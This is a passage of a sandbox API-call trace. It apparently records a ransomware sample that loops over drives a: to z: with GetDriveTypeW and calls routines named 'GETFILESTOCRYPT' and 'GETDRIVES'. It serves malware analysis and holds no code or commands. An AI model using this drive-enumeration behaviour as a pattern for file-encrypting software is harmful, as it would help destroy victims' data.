[0088.985] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0088.985] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0088.985] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0088.985] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0088.985] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0088.986] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0088.986] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0088.986] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0088.986] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0088.986] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0088.986] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.987] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.987] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.987] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.987] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.987] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.987] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.987] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.987] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.987] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.987] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.987] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.987] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.988] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.988] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.988] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.988] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0088.988] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0088.988] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0088.988] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0088.988] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0088.988] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0088.989] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0088.989] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0088.989] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0088.989] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0088.989] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0088.989] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0088.989] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0088.989] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0088.990] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0088.990] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0088.990] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0088.990] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0088.990] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0088.990] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0088.990] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0088.991] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0088.991] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0088.991] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0088.991] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0088.991] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0088.991] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.991] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.992] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.992] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.992] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.992] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.992] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.992] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.992] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.992] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.992] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.992] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.992] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.994] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.994] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.994] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.995] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.995] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.995] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0088.995] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0088.995] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0088.995] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0088.995] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0088.995] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0088.995] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0088.996] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0088.996] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0088.996] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0088.996] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0088.996] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0088.996] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0088.996] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0088.997] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0088.997] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0088.997] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0088.997] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0088.997] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0088.997] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0088.997] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0088.998] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0088.998] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0088.998] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0088.998] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0088.998] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0088.998] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.998] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.998] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.999] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.999] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.999] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.999] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.999] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.999] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.999] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.999] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.999] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.999] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.999] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.999] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.999] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.000] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.000] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.000] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.000] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.000] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.000] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.000] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.000] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.000] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.001] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.001] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.001] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.001] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.001] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.001] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.001] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.002] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.002] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0089.002] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0089.002] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0089.002] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0089.002] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0089.002] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0089.002] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0089.002] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0089.002] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0089.002] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0089.003] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0089.003] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.003] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.003] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.003] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.003] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.003] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.003] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.003] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.003] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.003] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.003] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.003] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.003] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.003] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.003] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.003] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.003] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.003] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.003] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.004] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.004] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.004] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.004] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.004] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.004] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.004] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.004] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.005] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.005] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.005] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.005] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.005] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.005] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.005] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0089.005] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0089.006] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0089.006] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0089.006] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0089.006] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0089.006] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0089.006] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0089.006] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0089.007] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0089.007] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0089.007] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.007] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.007] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.007] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.007] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.007] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.007] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.007] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.008] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.008] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.008] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.008] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.008] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.008] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.009] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.009] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.009] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.009] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.009] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.009] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.009] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.009] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.009] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.010] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.010] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.010] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.010] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.010] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.010] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.010] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.010] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.011] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.011] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.011] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0089.011] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0089.011] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0089.011] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0089.011] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0089.012] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0089.012] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0089.012] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0089.012] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0089.012] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0089.012] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0089.012] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.013] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.013] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.013] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.013] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.013] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.013] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.013] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.013] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.013] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.013] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.013] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.013] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.013] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.014] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.014] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.014] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.014] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.014] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.014] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.014] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.014] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.014] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.014] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.015] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.015] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.015] 